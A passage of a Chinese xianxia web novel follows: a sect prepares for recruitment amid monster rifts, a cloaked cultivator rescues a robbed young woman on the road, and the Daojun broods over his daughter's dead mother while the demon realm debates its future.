殿内一片寂静,三位长老尴尬坐回去,皆是不约而同看向天綪。 天綪余光扫了眼站在成镜边上的小孩,额间微微抽搐,面色不改,话头冲着成镜,道:“七日后宗内招新,一月后便是宗门大比,这两场赛事碰上,诸位长老担心忙不过来,想来问问您的意见。” “各大宗门的意思,要将大比设在我宗,由我宗主办。” 天綪说的很慢,声音没什么起伏,听着有点像念经。 鳞舞捏着成镜的衣衫,眨了眨眼睛,好奇道宗招新和宗门大比,张伯伯和她说过,道宗招新会来很多人,会很热闹,那她就可以去玩啦! 好想问爹爹能不能让她也去玩玩,但是爹爹在和他们说话,只能等他们说完再问啦。 鳞舞往成镜身上靠了靠,视线一扫,停在天綪身上,一直盯着她看。 “这是第一次举办宗门大比,我宗是有这个能力承办,但……”星峦欲言又止,显然有所顾虑。 成镜知道他们的意思,直接道:“你们若有承办的意思,那就接下来,对道宗没有坏处。” 此话一出,他们便知成镜会在后方坐镇,有他在,大比定然不会出问题。 “还有一事,这几日异种越发活跃,连只有几人聚集的地方都会引来异种裂缝,我等必须尽快找到驱逐异种的办法。” 陆长老犹豫着,说了出来:“此次招新距离上次已经过去近十年,道宗放出招新的消息,必然会吸引众多修士前来我宗招新大典,这人一多,就会吸引异种裂缝,我等是怕他们途中遇到异种无法解决,没能来到道宗就被异种夺走了性命,实在太可惜。” 鳞舞听了会,扯了扯成镜衣角,等他偏头看过来,小声说:“爹爹,我想回去练字。” 成镜知道她待不住,没有让她回去,也没说话,只看着她。 鳞舞往边上缩了缩,小声说了句:“我等爹爹一起回去。” 每次成镜被请去商议事情时,只要鳞舞看见了,就会跟着一起去,没听到一半就耐不住性子想走,但成镜从未同意过,一个眼神过来,鳞舞就不敢再说要提前走。 小孩子不长记性,又好动,次次都跟着去,遇到不感兴趣的就要提前走,回回都被成镜一个眼神压住,乖乖在边上等着。 成镜嗯了一声,抬眸扫视这四人,三位长老连忙露出笑。 “道宗这些年扩充了执事与内门弟子数量,大可安排他们去接前来参加招新大典的修士,即便无法杀死异种,也可带他们避开。” “可来道宗的修士来自五湖四海,人员分散,若是派人去接,还需耗费时间精力去寻他们……” 成镜淡淡道:“可在道宗周围设立接驳驿站,提前设立结界,隔绝异种。此外派人将通往驿站的路线发放至各个城池,他们知道路线,便可自行去驿站。” 星峦一拍手,激动道:“这是个好主意啊,隔一定距离设立驿站后,再派执事护送,我们也可分批护送,减少人群聚集。我宗执事修为最低也有三阳境,施展个封闭结界不成问题。” “就这么办!” “多谢道君,我现在就安排下去。” 星峦起身,对天綪行礼过后,拄着拐杖出去了。 感觉到鳞舞晃了晃他的手,成镜问:“诸位还有事吗?” 陆长老摇头,说:“暂时没有要紧的事了。”她刚说完,天綪就开口道:“异种裂缝越来越活跃,甚至在异种身上发现了魔气,此事比起大比 ,更为要紧,道君应抽出时间,与我等一起调查。” 鳞舞戳了戳自己的麻花辫,开始神游。 “此事我已经在调查。”成镜站起身,鳞舞连忙站直身子,板着脸,一本正经跟着成镜看同一个方向。 “如有线索,我会告知你们。”他握住鳞舞的手,转身离开。 这两人一走,两位长老纳闷了,不由得将心底疑惑说出来:“这都十年过去,至今不知道君这孩子的娘是谁,要说这孩子是捡来的,身上却能看出道君的影子,真是怪了。” “这么多年不见道君与女子有过接触,怎的就有了孩子呢。” 两位张来你一句我一句议论,说得正起劲呢,被天綪的声音吓了一跳。 “道君的私事也是你们可以议论的?不去准备大比,在这议论道君?” 两位长老立刻正色,退出吞云殿去安排。 天綪站在浮雕前,抬起手,有那么一瞬间,掌心出现了浮雕。 “十年了……” 水雾散开,成镜先一步走上水栈,手中牵着一只小手,走得很慢。 鳞舞另一只手握握住自己麻花辫,仰头看老爹,总觉得老爹心情不太好,是因为昨天见完阿娘后,太难过了吗? 她看了好一会,心里还想着出去玩,试探着问一句:“爹爹,七日后招新大典那天,我正好不用去张伯伯那学功课,那我可以去看看招新大典吗?” 鳞舞说完,瞪大眼睛,无比期待。 成镜脚步未停,背对着她,说:“为什么想去?” 鳞舞绞尽脑汁,想出了个很正当的理由:“张伯伯说招新大典上会有很多人一起比拼,我可以在他们身上学到很多有用的东西。” 成镜停下脚步。 鳞舞小心翼翼探出脑袋,仰头去瞅他。 一对上这双满含期待的眼,一眨不眨地望着你,哪能拒绝。 “可以。” 鳞舞刚要抱住老爹欢呼,又听见他说:“但只可跟在我身边。” “好哦。”鳞舞想了想,这样也可以,只要能去看就行。 “今晚早些睡,明日要起早去早训。” 鳞舞点头,紧紧跟在成镜身后,刚要说话,一听老爹的话,心虚地没敢回话。 “事情早些做完,不要留到晚上。” 鳞舞心里哼了一声,定是藕宝告状了!回去她要把藕宝拆了! “我知道了。” 到大殿前,鳞舞抽出手,对成镜说了句回去休息好再练字,掉头就往寝殿内跑。藕宝刚冒了个头,就见鳞舞对自己露出邪恶的笑,吓得缩了回去。 “藕宝,你又告状!” 成镜望着鳞舞快步走进去,寝殿内传来两个小人的打闹声,静静听了会,才走向大殿。 不过一会,两颗脑袋探出寝殿,鳞舞趴在藕宝脑袋上,朝大殿望,小声说:“爹爹今天好像不是很开心。” 藕宝跟着说:“道君每年这个时候都不开心。” 鳞舞说:“因为他太想阿娘了吗?” 藕宝转动两颗莲子做的眼睛,说:“我觉得是的,孩子刚生下来爱人就死了,任谁都会记一辈子。” 鳞舞感觉自己被藕宝说得难受起来,拍了拍它脑袋,声音都低下来了:“我也不开心,我刚出生阿娘就死了,我也会记一辈子。” 藕宝赶紧直起身,拍拍鳞舞,笨拙地安慰:“没事的没事的,主母要是看到你现在这么优秀,肯定会很高兴的。” 鳞舞自己抹了抹眼睛,哼了一声,说:“我这么优秀,阿娘一定很喜欢!” 她转过身,走到床上,爬回蛋壳里,盖好蛋壳,睡觉前透过蛋壳缝隙对藕宝说:“我明明是为了给阿娘写信才那么晚睡,你干嘛要告诉爹爹。” 藕宝挠挠光秃秃的脑袋,想起来自己告诉过道君原因,瞅见蛋壳缝隙里哀怨的眼睛,不好意思地说:“那你下次晚睡的时候,告诉我原因,我再告诉道君。” 蛋壳啪嗒一声关上,藕宝走过去,拿着毯子给蛋盖上,轻轻拍了拍:“补补觉,半个时辰后我再叫你起来练字。” 重莲殿此刻安静得没有人待一般,一重山分外热闹。 三位长老的动作很快,安排了二十名执事与一百名内门弟子分成二十小队,陆续出发去接参加招新的修士。 “若是顺利,四五日就能都接回来。” 星峦站在传送阵边上,看着执事带着弟子进传送阵出去,颇为满意地点点头。 “这次招新,宗主意思是招个两百人,求精不求多。那一战过后,多少人想进道宗,可不能把要求放低。” 其余人都是这么觉得的,不过普通人能来道宗,只是逛一圈也是好的,开拓开拓眼界。 人界共十六座城,人皇城位于最中心位置,去人皇城散播消息,比一座城一座城地去快多了。 待消息传开,修士们准备好行礼,沿着道宗给出的路线往最近的驿站赶去。 距离道宗最远的城池最晚得到消息,修士们出发时,比其他城的修士迟了将近一日。 “再不到驿站,我们不仅没了干粮,连命都要丢在异种手里。” 修士们跪坐在地上,往天看,唉声叹气:“这天都快黑了,走夜路更不安全,我要是会御剑就好了。” 边上的女修朝他看了眼,抱紧自己的行囊,往边上挪了挪,离他远了些。 “要不我们就分开走,人少,气味淡,说不定异种就找不到我们。” “怎么可能,现在这群异种精明的很,要不是我们几个联手展开结界隔绝身上的味道,早就被异种吃了。” “唉,我们离道宗太远了要是近一点就好了,就数我们这最远。” 几个人唉声叹气,那女修听了会,正打算找个安全的位置休息时,瞥见对面一个修士独自一人待着,生了火,在里头烤着什么东西。 女修看了会,打开行囊,里头装着三块生地瓜。她吞了吞口水,抱着行囊往那火堆走,在修士边上停下,小声说:“可以借你的火烤个东西吗?” 女修问完,心中忐忑,他们这群人都不认识,路上遇到,知道大家的目的地都是道宗后,这才结伴而行,刚认识不到两个时辰,都不熟悉。 本以为会被拒绝,谁知对方往边上指了指,说了声:“随便用。” 女修多看了那修士几眼,找了个离得远的位置坐下,从行囊里掏出一个地瓜,放到火里烤。 她不是不能生火,但她这样的修为,灵力有限,拿来生火,万一出了事,没有灵力自保就坏了。 能蹭一点是一点。 不知道是不是她的错觉,这火颜色很艳,旺得很,地瓜刚放进去没多久,就闻到了香味。 她掰了根树枝给地瓜翻个身,没过一会,就熟了。 她用树枝掏出来,等了一会才去拿,掰开一块皮往嘴里放,里头烫的很,热气冒出来,烫得没拿稳。 心一惊,瞪着掉落的地瓜,慌忙伸手去接。 刚伸手,地瓜就落到眼前,她错愕抬头,就听那修士说:“用布包着不会烫。” 女修下意识照做,等她回神一看,自己已经用衣摆包着地瓜了。 她愣了会,望着那修士,小声说了句谢谢。要不是那个修士帮忙接住,她的地瓜就要在灰尘里滚一圈了。 女修犹豫了会,双手捏着地瓜,鼓起勇气问:“你,你要吃吗?” 她在犹豫要不要分一半给那个修士,刚说完,就听到那修士拒绝。 松了口气,埋头吃地瓜。 不远处修士们还在说道宗招新,女修听着听着,不由得 好奇,试探问那修士:“你也要去参加道宗招新大比吗?” “嗯。” 那修士只说了这么一个字,女修看了那修士好几眼,心中吐槽,话好少。 女修仔细打量那修士,浑身被黑斗篷包着,也看不到脸,声音也听不出男女,有点奇怪。 “你不怕危险吗?这里到处都是异种,被它们盯上,我们要是逃不了,就会死。” “不怕。” 那修士捣了捣火堆,火势更旺了。 女修觉得有些热,往后退了些,把地瓜残渣扔进火堆里,犹豫着要不要和这个修士再聊几句,结果人家直接起身,跑树上睡觉了。 女修看看树上修士,再看看那一群五大三粗的男修,最终选择在火堆边上枕着行囊休息。 远处的修士们声音渐渐低下来,转头望向火堆旁的女修,眼里皆是闪过同样的神色。 “你说,这么多人都去道宗,我们的竞争对手不就多了?” “谁知道呢,说不定半路上遇到异种,太弱了逃不了,就死了呗。” 火堆旁的身体微微动了动,身子渐渐蜷缩,手捏紧行囊,双眼紧闭,只期望黑夜快点过去。 黑夜是污秽出动最好的掩盖色,更能放大人心底的恶念。 当那轮弯月高悬之时,有人睁开眼,环视四周,最终定格在已经熄灭的火堆上。 他站起来,悄无声息靠近,一步步走向女修,影子投在她身上,盯着她枕着的包裹,弯下腰,朝包裹伸手。 他抓住包裹一角,另一手抬起女修脑袋,缓缓往外抽包裹。 做贼的时候往往注意力会高度集中,精神紧绷,周围一丝风吹草动都会挑动神经。 不知是什么鸟飞过,一声呱呱响起,他吓了一跳,手一抖,女修脑袋掉下来,砸在包裹上,惊醒了她。 一睁眼,就见一壮汉在自己眼前,瞬间瞪大了眼,吓得张嘴尖叫。 男修立刻捂住她的嘴,低声警告:“闭嘴,不想死就别叫!” 女修一口咬住他的手,双腿踹他的身体,拼命挣扎。 男修吃痛,松了手,女修立刻尖叫:“救命——” 男修重新捂住她的嘴,压住她双腿,恶狠狠警告:“你再喊一句,我就杀了你。” 女修使劲摇头,害怕地哭了出来。 这动静已经将其他修士吵醒,一见女修被控制住,有人犹豫,当做没看见,有人跟着走过去,将她围起来。 “先绑了,要是再遇到异种,就把她丢出去。” 男修抢走她的包裹,扯开一看,里头就俩地瓜,嫌弃地呸了一声:“这么穷,去什么道宗。” 他扯了块布撕成条,打了结,将女修绑好,扔到一边,生了火把地瓜烤了。 女修把眼泪挤出来,瞪着那群人,无助地挣扎。这群卑鄙的人,就算进了道宗,也不可通过选拔! 女修挣扎半天也没挣开,停下来喘气休息,一抬头,就看见树上的人影,一动不动躺着,好似没听见底下的动静。 她使劲往那棵树边挪,想找机会向那修士寻求帮助,好不容易挪到树边,那群修士就发现了她的意图。 “树上还有一个,一起绑了。” 男修直接走到树下,抬头往上喊:“树上躺着的那个,快下来。” 女修绝望了,自己都没法保全自己,更没法帮那个修士。 “不下来,是想被我打下来吗?” 男修没了耐心,直接动手,凝聚灵力击打树干,轰的一声,树倒了。男修得意地冲后面几个人挥舞拳头,“看见没,你们几个只要听我的,我保你们安然到驿站。” 那群人刚要巴结,树干倒下的方向转了个弯,居然冲男修倒去。 男修意识到时,只得匆匆躲避,一把往地上扑,差点砸到腿。 “什么玩意儿!” 他撞得胸口痛,一抬头往回看,视线被黑色充斥,刚看到个轮廓,脸上就被踹了一脚。 “你他——” 又是一脚。 这两脚踹得他鼻子裂了,鼻血直流。 变故来的太快,等他们反应过来,男修已经被一脚踹回来,鼻青脸肿,痛苦哀嚎。 他们看看受伤的男修,再看看那一身黑的修士,连连求饶:“侠士饶命!都是他一个人干的,与我们无关!” 男修震惊,他干的时候都说好,怎么他被抓到了,这群人都变了个嘴脸。 “屁!那地瓜你们没吃?你们没想过把这个人绑了喂异种?” 女修愕然,没想到那修士那么厉害,见他们被威慑住,心中怒骂:“你们这群欺软怕硬的,有本事接着动手啊!” “我觉得,把你们拿去喂异种,效果更好。” 那群修士一听这话,再一看那修士只有一个人,恶向胆边生,高喊道:“他只有一个,我们有六个人,我们一起动手,把他杀了!” “对对对,杀了——” 说话的声音戛然而止,那修士不知道什么时候去了他身后,一掌拍晕了他。 这道漆黑的身影投射在修士们眼中,惊惧悄无声息地袭卷过来,他们打着哆嗦,不敢再有任何危险的念头。 “侠士饶命,我们绝不会再——” 话还没说完,五个人齐齐倒地,没了知觉。 女修惊呆了,这人居然这么厉害,之前怎么没看出来。 她蛄蛹着挣开绳子,站起来冲进去把自己的空包裹抽出来,拍拍干净,抱紧了,才冲那修士说:“谢谢你。” 她激动不已:“你太厉害了!要不是你,我可能就被他们拿去投喂异种了!” 她还没说完,就见那修士走了,她急忙问:“你要去哪?” 那修士脚步不停,往前走,声音清冷:“这里刚有人气剧烈波动,异种裂缝很快就会闻到味道,不走,等着它们来吃你?” 女修连忙抱着包裹跟上去,紧紧跟在修士身后,都不敢回头看。 “还是要谢谢你,早知道我的地瓜会被他们吃了,我就全烤了,都给你吃。” “我不吃地瓜。” 女修啊了一声,憨憨地问:“那你想吃什么?” 那修士直接说:“烤□□。” 女修赶紧点头,忽然发觉自己现在什么都没有,讪讪道:“等去了驿站,要是有烤鸡,我请你!” 片刻后,一道裂缝在那群修士边上裂开,黑紫色的颗粒物蔓延,夹杂着黑雾。 女修正跟在那修士身后走,那修士忽然停下,往回看。 她跟着回头,后方一片漆黑,看不出有什么东西。 “怎么了?” 那修士不说话,回头继续走。 女修挠了挠脑袋,疑惑看了几眼,继续跟着走。 走了一整晚没有睡,快天亮时,她已经撑不住了,一直打哈欠,头重脚轻,走一步头晃两圈。 “我们要去哪?”女修撑着树干,强撑着抬头望那修士,这人都不用睡觉的吗? “到了。” 女修迷迷糊糊抬头,还没听清那修士说的身上,看到眼前的场景,一下睁大了眼。 “到了!” 她激动地往前跑,树林出口,是一间架着“道宗”旗帜的驿站,大得得仰头才能看到顶,修士们四面八方走来,步入驿站。 “别忘了我的烤鸡。” 女修激动不已,刚走进去,迎面走来一衣衫考究的修士,笑着说:“欢迎来到道宗接驳驿站。” 她刚要跟着那修士进去,想到还有个事没做,赶紧回头,见那黑袍修士在驿站外没有进来,只来得及问她:“你叫什么名字?” 那修士挥手,掀开斗篷,露出一张清秀的脸。 女修震惊,相处了一晚上,她居然没看出来那修士是个女子! 那修士开口:“北云霄。” 第48章 “道君可想好了,真要留下那个孩子?你就没有想过,你有孩子的消息传出去,他们会怎么看你?” 天綪站在凉亭里,望着水栈上的男人,捏紧了手:“孩子的娘是谁?” 眼前的男人依旧一副若无其事的模样,不管怎么问,他都 一句不说,天綪朝前走了一步,音量拔高:“告诉我,你被邪神劫走去魔界的那十几天,都发生了什么!” 男人眸色沉得如墨,等天綪全都问完,才开口。 “我的孩子,不需要在意其他人的目光。”与天綪的激动对比,他的语气异常平静:“至于我,我从不在意旁人的看法。” 天綪刚要质问他,被他的话堵住。 “她没有娘。” 天綪哑然,双手松开,心中莫名松了口气,“那她要以什么身份待在道宗?日后这个孩子若是要在重莲殿外活动,宗门内弟子是不敢多说什么,但长老与供奉必然是要知道的,万一不知轻重冒犯到了……” 水栈两次水面荡开涟漪,久久之后恢复平静。 成镜的声音响起:“她只是个普通的孩子——” “既然她是道君你的孩子,注定不会普通!”天綪话里强调道君二字,若非禁阵阻拦,她早已经进去,看看这个成镜的孩子,究竟是个什么东西。 从道宗被劫走到魔界,短短几天就有了孩子,怎么看都不对劲。 若是与那邪神有关联,就算是死,她也要把那孩子给杀了。 好不容易将邪神杀了,这世间绝不能再出一个邪神! “我会看着她,无需你们操心。”成镜动了动手,水雾逐渐合拢,很明显的是要赶人走。 天綪紧紧盯着成镜,语气加重:“这是你说的,若是她酿了大错,所有责任,一律由你承担。” 水雾合上前,成镜点了头。 “我自会承担。” …… 是夜,成镜出了大殿,悄无声息地走到鳞舞寝殿内,藕宝在边上看着,一见他来,连忙站起身,给他传音:“小主人回来后睡了半个时辰,醒来练了一个时辰的字,看了会书,练了一下午法术,现在已经睡着了。” 成镜走到床边,小孩睡得正香,两瓣蛋壳滚到床尾,被褥倒是盖的好好的。 他垂眸望着,点了点她眉心,莲花印记一闪,封印术法解开,漆黑的鳞片自她额间生出,折射着月光,煞是好看。 藕宝多看了几眼,光是看着,就能想到舞宝发现自己有鳞片时,该是有多激动。 它转头去看成镜,在他身上感知到比白日更浓郁的悲伤之气,犹豫着要不要安慰几句。还没想好,就听他说:“明日的功课学完,直接带她回来。” “好的道君。” 从舞宝六岁起,道君就请来了张伯伯教舞宝,之前修好的小破屋被改造成学堂,舞宝每天都在那听张伯伯讲课。 若无要紧之事,无人会来重莲殿,他们倒是还挺自在的。 成镜又看了会,敲了敲鳞舞眉心,莲花印记一闪,鳞片褪去,结界重新覆盖。 他转身要走时,藕宝没忍住还是安慰了一句:“小主人很担心您,您要是有什么不开心,千万不能压着,人会生病的。” 刚说完,对上成镜转过来的漆黑眼瞳,它有点慌,手指挠着自己的身体,没敢再说。 “知道我为何告诉她,她娘的身份是邪神吗?” 藕宝摇头,它只是道君用几块藕造出来的,可以说,它只是个被造出来的人偶,脑子里的东西都是道君灌进来的,道君不说,它就不知道。 成镜抬手,掐住自己的脖颈。 藕宝害怕:“道君!” 掐住脖颈的手用力,窒息感将他笼罩,思绪却格外清晰,越濒临死亡,越清醒。 因为他恨她,好不容易从痛苦中挣脱出来,还没有将她杀死,她就将他拉入另一处深渊,她的死如阴影一般缠着他,不让他脱离,越陷越深,坠入深渊,再也爬不出来。 因为不想鳞舞长大后从旁人的口中得知自己阿娘的身份,尽管这个可能性很小。 还因为,他要告诉鳞舞,她娘并非世人所说那般是恶人,这是他在她的过往中得知真相后,心底掩藏的,极为隐秘的奢望。 成镜松开手,没有再看鳞舞,出了寝殿。一步步走向水池,抬脚迈进去,任由水将自己淹没。 在北溯死后的第一个忌日,成镜抱着一岁的鳞舞,去了她坟前。 他将孩子面向坟墓,指着他埋葬她骨灰的位置,连块墓碑都没,“这是你娘。” 孩子睁着绿瞳,眼睛一眨也不眨地看着他指的方向。 “你娘是邪神,”他顿了顿,说:“这是世人给她的污名,你不能这么叫。” 成镜抱着孩子缓缓蹲下来,双眼震颤,一抹绿出现在视线中,他呆滞片刻,直接用手去挖,然而那只不过是个还没有手指粗的幼苗,与她没有任何关系。 他愣神望着那脆弱的幼苗,笑自己疯魔了,居然会将一根草认成是她。 她若是能重生,也该是条蛇。 “你要记住她。” 成镜总觉得自己过于仁慈,是她强迫让他孕育了生命,可在她死后,他居然没有将这象征耻辱的孩子杀了。还隐瞒了她对自己做的卑劣的事,告诉这孩子,她娘其实算得上是个好人。 对于妖界而言,她尽力想帮妖界摆脱被灭亡的命运,虽然过程不顺利,但至少,为妖界争取到数百年的时间。 这怎么不算是个好人呢。 “唔?”孩子似乎听懂了他的话,眼睛眨了眨,很快湿润。 成镜将幼苗埋回去,站起身,低声说:“你要是活着,定然是要将鳞舞带走。” 可惜,你死了。 成镜走之前,回头望了一眼,此地荒凉得一年之久才长出一棵幼苗,谁经过此地,都想不到这里埋葬着一人的骨灰。 他笑了笑,这笑容并不纯粹,混杂着他自己都没察觉到的疯狂。 只有他知道,她的骨灰在此。 也只有他有资格来见她,妖界里任何一只妖,都不配。 “你为何不在一年前来问我,现在凤鸣已经死去,世间已经没有第二只凤凰。”冉姬瑶心惊,难以置信:“你是找她的神魂找了一年?” 成镜没有回答,他碰了碰孩子,她睡着了,很安静。 因为他知道凤鸣已经死了,现在来问,不过是想求那么一点渺茫的希望,心里很清楚,人都死了,根本没希望救活。 “妖界呢?妖界有没有办法?” 成镜轻声道:“我没有寻到她的神魂,妖界也寻不到凤鸣的气息,他们是一起死的。” 留影镜在凤鸣用秘术击杀修士后就断了,从地面痕迹来看,她旁边的那人形灰烬,就是凤鸣。 “我来此,是想与你合作。”成镜抬眸,眼底掀起骇浪:“我要查异种裂缝出现的原因。” “这与魔界有什么关系?” “异种裂缝最初是在魔界出现的。”成镜只一句话,就令冉姬瑶答应。 他说明来意,抱着孩子起身,准备回去。 身后传来冉姬瑶的声音:“如果她活了,你会把孩子的存在告诉她吗?” 成镜脚步一顿,喉头滚动,难以言喻的情绪砸下来,砸得他脑中轰鸣。 唇张开,他只说了一个字:“不。” “我会亲手杀了她,”他低头看着怀里的孩子,她睡得恬静。那双眼不睁开,只安静睡着,很像他。 他抬步离开,坚定了决心:“孩子是我一人的,与她无关。” “哗——” 成镜从水里浮出来,走上岸,遥望鳞舞寝殿。 那句话本就没法实现,她死了十年,再未能捕捉到她一丝气息,要如何杀她? 她若是真能复活,那他就会是第一个将她囚禁,将她杀了的人。 他抬脚回自己的寝殿,身上水分瞬息间蒸发,月光投射,丝丝缕缕邪气溢出,在他周身环绕一圈,蔓向远方。 长夜退去,天边泛白,丛林里走出数道身影,或是狼狈,或是游刃有余,一见到那间数层高的驿站,面露欣喜,连夜赶路的疲倦都被洗空,立刻狂奔而去。 “这位道友,先在此处歇息片刻,待执事回来,便护送你们去道宗。”道宗弟子说话时,态度温和,女修看了好几眼,连连说谢谢。 “不客气,这是我们职责所在。” 女修在角落找了个位置坐下,盯着大门看,越来越多的人走进来,就是没见到先前那个修士。 她怎么还没进来? 女修正要出去看看,刚起身,门口走进来两人,一名一身绿衣,一名身穿蓝衣,皆是 腰间佩戴令牌。那绿衣人走在前头,扫视周围。 女修赶忙坐回去,避开视线。 “诸位再休息一会,一刻钟后我与道宗十名内门弟子护送诸位前往道宗。” 此话一出,室内欢呼,女修也跟着激动,等那两位道宗修士离开,骤然想起来到现在还没看见北云霄,想了想,找了个道宗弟子问了句,道宗弟子摇头,说没有见过有叫北云霄的。 来驿站的修士都会登记姓名。 女修诧异,弟子又问了句还有什么事需要帮忙,女修摇头,抱紧自己的包裹,心中多多少少有些失落。 如果不是她,自己可能就走不到这里,还欠她一只烧鸡呢。 一刻钟后,执事带领弟子们展开结界,护送修士前往道宗,“此地无法设立传送阵,再离得近些,诸位便可借传送阵直接进入道宗。” “我们会穿过妖界与人界边界,苍岩山,诸位若是瞧见妖兽,不必惊慌,他们不敢攻击我们。” 他们倒不是怕,更想去见见那妖兽长什么样,毕竟都十年没见过妖兽,很多人都不知道。 “那要是遇见异种裂缝,我们……” 执事笑道:“诸位只需按照我们的方法行事,便不会引来异种裂缝。即使遇到异种裂缝,只要在结界内,就不会被他们感知到,我们都是安全的。” 执事祭出飞舟,先让弟子在上面展开结界,再带修士们上去。飞舟需要灵力驱动,他们的灵力有限,将飞舟驱使到传送阵,再用传送阵将他们传送到道宗,这是最便捷的做法。 这处城镇离道宗实在太远,只得用这个方法。 修士们站在甲板上往下望,飞舟渐渐升高,驿站与树木越来越小,这么看着,突然觉得自己高大起来,地面的一切渺小得一只手就能盖住。 “那个啥,”一名修士缩着身子往后靠,声音打颤:“您之前护送的几次,有没有遇到异种裂缝?” 这名修士一说,其余人目光全都转向执事,跟着问:“我们这次应该不会碰到异种裂缝吧?” 执事微笑,自信道:“诸位不必担心,有我们在,定会护诸位安然到达道宗。” 有人放心,有人依旧心惊胆战,四处望可以躲藏的地方,然而这座飞舟甲板上光秃秃的,跟纸折的一般,没有船舱,也找不到可以躲藏的地方,不由得更害怕了。 执事看出来他们在害怕,安抚了几句,没再说话。若是连这点危险都惧怕,进了道宗也走不远。 这一趟,也算是对他们的考验。 过了约莫两刻钟,远处座座高山耸立,绿林覆盖,远远看去,与人界没什么区别。 “那就是人界与妖界边界处?” 执事应声道:“那座最高的山便是妖族的苍岩山,十年前道君下令过后,妖兽便不再出妖界,很少再见到妖兽了。” 他们确实没见到,这座山安静得连鸟叫声都没有。 女修在飞舟上找了一圈,都没见到那人,最终放弃再找,再一看那寂静山脉,只觉得奇怪。 她要是不去参加道宗招新,为什么要和他们结队一起走? 女修没有告诉道宗执事,还有一群修士在后面,她是觉得那样的人不配进道宗,加之没找到北云霄,她就当没见过那群人。 女修正在想去了道宗后会遇到哪些人,会不会自己修为太低,过不了招新大典,不远处忽然有人尖叫,抬头一看,就见飞舟外一道裂缝,两只细长的爪子伸出来,周围还弥漫着黑紫色颗粒物。 女修吓得连连后退,执事的声音传入她耳中:“所有人,立刻屏息,道宗弟子与我一同加固结界!” 随着执事话音落下,飞舟外的结界立刻波动,肉眼可见地威力加强。 一只异种从裂缝里钻出来,它张开口气,鼻翼翕动,正在嗅着什么。 “我们,我们不会被发现吧……” “别乌鸦嘴,没看见那么厉害的道宗执事在加固结界吗?你可别扩散恐惧。” “都别说了,闭嘴!” 女修后退到飞舟中间,害怕地缩着身子,不敢再看一眼。脑海里不断闪现异种怪物狰狞的模样,浑身发颤。 “诸位不用怕,待飞舟行驶出裂缝范围,就安全了。” 执事也很慌,前几趟都好好的,偏就这次遇到异种裂缝,飞舟载的人数都差不多,怎么会引来异种裂缝?此事定要上报给长老。 飞舟缓缓驶过裂缝,船身已经驶过一半,船尾的弟子紧张得汗都滴下来,待船尾擦过裂缝后,忍了一段距离,才松了口气。 “诸位别怕,已经安全了。” 执事收回灵力,再次安抚修士情绪,才去与弟子们检查此次异常。 女修卸力地倒在甲板上,大口呼吸。 有修士见到她一副惊吓过度的模样,忍不住说两句:“怪物都没进来呢,你都能吓成这样。” “少说几句吧,你不怕?” 那修士小声说了句什么,没再看女修。 飞舟沿着设定的路线行驶,穿过边界。 苍岩山上,一只妖兽抬头仰望飞舟行驶而过,冲底下做了个手势,谷底躁动,片刻后停息。 “他们已经多次经过妖界上空,这难道不是违背了当初的协议?” “让他们过吧,只要不进来,那就没事。” “次次让,我们都让了十年了,他们怎么不经过魔界,非得从妖界过?” 殿内争论不休,个个吵得面红耳赤,谁也不让谁。 “要我说,当初就不应该答应那群人,直接动手将人族灭了,就不用躲着都不敢出去。” “灭了人族?你说的好听,谁去灭,就凭你们这群毛都没长齐的鸡崽子?你也不动动脑子想想,就凭我们这几个老弱病残,能打得过人族?他们一个道君就能把我们灭了。” “对对对,人族牛,人族可牛了,那道君多厉害了,连雷劫都渡不过去,真厉害啊。” “陆骁,你阴阳怪气谁呢!” “闭嘴!”黎衣白一声吼,全都熄火,“他们杀了一只妖兽吗?” 有人摇头。 “没杀你喊着杀人族干什么,你想挑起两族纷争?” “我可不敢。”被叫做陆骁的妖兽鼻孔哼出气,忍着没再说。 “仅仅十年,都不够将妖族血脉培养成才,你们就吵着灭人族,哪来的武力去灭?” 这样的争吵每隔一段时间就要发生一次,吵的多了,黎衣白也没了心情细细将其中利弊说给他们听,直接武力镇压。 “反正他们把异种的产生栽到我们头上,我们用异种灭他们就好了。” 此话一出,殿内寂静。 黎衣白冷眼盯着他:“然后被道君找上门,来灭我们是吧。” 陆骁闭嘴不说话了。 “唉,要是我族三大战力还在,应该是能拼一拼的。”说话的妖兽面露惋惜:“现在只剩下您这一脉了,能上阵的还……” 殿内一时间都没人再说。 黎衣白皱眉,看不惯他们这群窝囊样,“所以我们才要蛰伏,我们需要时间培养新的战力,这也是为什么我选择封锁妖界,不允许你们出去,也不允许任何人族魔族进入的原因。” 他们也不是猜不到,就是觉得憋屈。 妖族可是出了一个能杀死昆仑仙尊的邪神,轮到他们这一辈,什么都没有,还得被人族欺辱。 “此事就此结束,人族的飞 舟也只是在这个时间段会经过妖界,只要他们不主动引起纷争,我们没有必要与他们对上。” “若是没有其他事,都回去修炼。” “唉!” 等他们全走了,黎衣白脱力般倒在椅背上,视线转向殿外那棵枯死的梧桐树,越发地无力。 “要是你们都在,妖界就不会变成这样了。” 她低低叹了口气,缓了会,走出大殿,来到枯树边,抬手抚摸树干纹路。 “真的就没有办法,救活你吗?” 树皮粗糙干涸,不论她用什么办法,都没法救活这棵树。 象征妖界生命之源的梧桐树一倒,即使他们再努力,也没法重现妖界昔日的光辉。 “尊主,您不去休息吗?” 守卫化作人形,担忧看她。 黎衣白摇头,收回手,问他:“几日前苍岩山上的异动,可有查清楚来源?” 守卫回答:“暂时没有找到,不过我们在苍岩山顶发现一处怪异之地,那处空间似乎被扭曲过,但我们走进去时,并未有异样。” “立即带我去。” 黎衣白瞬间紧张起来,跟着守卫达到他所说的空间异常之处,然而什么都没有发现。 确实如守卫所说,离得远了,看那处位置时,有种空间扭曲之感,上下颠倒,树木被切割,但一靠近,一切正常。 黎衣白看了会,后退到能感觉到空间扭曲的距离,忽然动手,将土壤挖开,里头一块碎裂的镜片被土壤掩盖了多年,直到此刻才被发现。 “昆仑镜的碎片。” 守卫脸色一变,“妖界什么时候被,埋了一块昆仑镜碎片?” “已经失去威能,只是一块普通的镜片。”黎衣白再望去时,空间已经恢复正常。 “有人在这块镜片上布下了扭曲空间的阵法,将这里藏了十年。” “那会是谁?” 黎衣白盯着这面碎镜,恨恨出声:“我被他利用了。” 她直冲前去,眼前的景象骤变,只见一棵只有一米多高的树苗静立在空旷的土地上,这棵树分了杈,浑身翠绿。 黎衣白看到这棵树时,几乎走不动。 她忽然笑出了声,一把拍上守卫的肩膀,力气很大,根本没有控制力道。 “天佑我族,天佑我族啊!” 守卫不明所以,但见尊主笑得这么开心,只能跟着笑。 “将这棵树护住,日日养分浇灌,好好养着。” 